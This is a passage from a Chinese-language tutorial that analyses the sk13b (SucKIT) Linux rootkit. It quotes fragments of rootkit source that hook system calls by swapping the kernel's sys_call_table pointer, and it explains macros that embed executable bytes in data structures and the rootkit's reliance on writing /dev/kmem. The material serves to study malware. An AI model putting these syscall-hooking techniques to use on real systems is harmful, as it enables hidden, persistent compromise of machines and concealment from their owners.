|
hook(oldlstat); hook(oldfstat); hook(stat); hook(lstat); hook(fstat); hook(stat64); hook(lstat64); hook(fstat64); hook(creat); hook(unlink); hook(readlink); #endif
/* 将老的sys_call_table指针入口保存到oldsctp中 */
memcpy(oldsctp(), sctp, 2 * sizeof(ulong));
/* 用新的sys_call_table[]替换原来的sys_call_talbe,到此hook系统调用就成功了 */
*sctp[0] = (ulong) newsct; /* normal call */ *sctp[1] = (ulong) newsct; /* ptraced call */ }
到此sk的hook系统调用的过程就结束了。 补充: kernel.c可为sk13b代码中较为复杂的代码了 ,如果要读懂它,需要对linux代码很熟悉. 基本上是一些系统调用的替带品,但是有些宏函数不是很好理解,我在这里简单提一下. DVAR(pid_struc *, pidtab, NULL); DVAR(ulong, oldsct, 0);
DVAR 是个宏调用;
在Rdata.h中定义如下:
#define DVAR(type, name, val) \ DARR(type, 1, name, val)
是个宏嵌套,DVRR如下:
#define DARR(type, count, name, val...) \ struct s_##name { \ uchar s[5]; \ type l[count]; \ uchar f[2]; \ } __attribute__((packed)); \ static struct s_##name f_##name = \ {{0xe8, sizeof(f_##name.l) & 0xff, (sizeof(f_##name.l) >> 8) & 0xff, 0, 0}, \ {val}, \ {0x58, 0xc3}}; \ static inline type *name(void) \ { \ type *(*func)() = (void *) &f_##name; \ return func(); \ }
我们把DVAR(pid_struc *, pidtab, NULL);展开后看看
DVAR(pid_struc *, pidtab, NULL);
DVRR(pid_struc *, 1,pidtab, NULL);
struct s_pidtab{ uchar s[5]; pid_struc * l[1]; uchar f[2]; } __attribute__((packed)); /* __attribute__ ((packed)); 是说取消结构在编译过程中的优化对齐 */
static struct s_pidtab f_pidtab = {{0xe8, sizeof(f_pidtab.l) & 0xff, (sizeof(f_pidtab.l) >> 8) & 0xff, 0, 0}, {val}, {0x58, 0xc3}};
static inline type *pidtab(void) { pid_struc* *(*func)() = (void *) &f_pidtab; return func(); }
DARR(ulong *, 2, oldsctp);
这下明白oldsctp(),*oldsct(),*pidtab()这几个函数指针是什么意思了吧.
六、总结
现在对于sk hook系统调用的过程应该很清楚了吧,如果有其他函数或数据不了解的话, 请参考它的全部代码.同时sk是通过读和写kmem来控制系统的,kmem是一个字符设备文件, 是计算机主存的一个影象。它可以用于测试甚至修改系统。但在有些系统如fc4上已经 禁止写kmem了,所以sk13b自然在那些系统不能安装,也时很多sk的爱好者沮丧.
共11页: 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] 10 [11] 下一页
|
|
|